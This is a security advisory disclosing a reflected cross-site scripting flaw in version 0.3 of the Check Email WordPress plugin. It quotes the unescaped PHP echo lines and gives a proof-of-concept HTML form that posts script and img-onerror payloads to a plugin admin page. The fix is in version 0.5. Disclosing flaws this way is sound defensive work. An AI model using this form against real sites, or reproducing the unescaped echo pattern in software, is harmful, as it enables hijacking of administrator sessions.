Cross-Site Scripting in Check Email WordPress Plugin

Abstract

A Cross-Site Scripting vulnerability was found in the Check Email WordPress Plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website.

OVE ID

OVE-20160725-0009

Tested versions

This issue was successfully tested on Check Email WordPress Plugin version 0.3.

Fix

The issue is fixed in Check Email version 0.5.

Introduction

Check Email allows you to test if your WordPress installation is sending emails correctly by sending a test email to an address of your choice. A Cross-Site Scripting vulnerability was found in the Check Email WordPress Plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf.

Details

A Reflected Cross-Site Scripting vulnerability exists in the Check Email WordPress plugin. This vulnerability allows an attacker to perform any action with the privileges of the admin user. The affected code is not protected with an anti-Cross-Site Request Forgery token. Consequently, it can be exploited by luring the target user into clicking a specially crafted link or visiting a malicious website (or advertisement).

The vulnerability exists in the file check-email/check-email.php:

132:	echo $_POST["checkemail_mime"];
140:	echo $_POST["checkemail_type"];
148:	echo $_POST["checkemail_from"];
156:	echo $_POST["checkemail_cc"];

The vulnerability can be exploited using specially crafted URL parameters. In order to exploit this issue the target user must click a specially crafted link or visit a malicious website (or advertisement).

Proof of concept

<html>
	<body>
		<form action="http://172.16.52.198/wp-admin/tools.php?page=checkemail" method="POST">
			<input type="hidden" name="checkemail&#95;to" value="" />
			<input type="hidden" name="checkemail&#95;headers" value="custom" />
			<input type="hidden" name="checkemail&#95;mime" value="&quot;&gt;&lt;img&#32;src&#61;x&#32;onerror&#61;alert&#40;1&#41;&#32;&#47;&gt;" />
			<input type="hidden" name="checkemail&#95;type" value="&quot;&gt;&lt;img&#32;src&#61;x&#32;onerror&#61;alert&#40;2&#41;&#32;&#47;&#37;3" />
			<input type="hidden" name="checkemail&#95;from" value="&quot;&gt;&lt;img&#32;src&#61;x&#32;onerror&#61;alert&#40;3&#41;&#32;&#47;&gt;" />
			<input type="hidden" name="checkemail&#95;cc" value="&quot;&gt;&lt;&#47;textarea&gt;&lt;script&gt;alert&#40;4&#41;&#59;&lt;&#47;script&gt;" />
			<input type="hidden" name="checkemail&#95;break" value="&#92;n" />
			<input type="hidden" name="checkemail&#95;go" value="Send&#32;test&#32;email" />
			<input type="submit" value="Submit request" />
		</form>
	</body>
</html>

Vragen of feedback?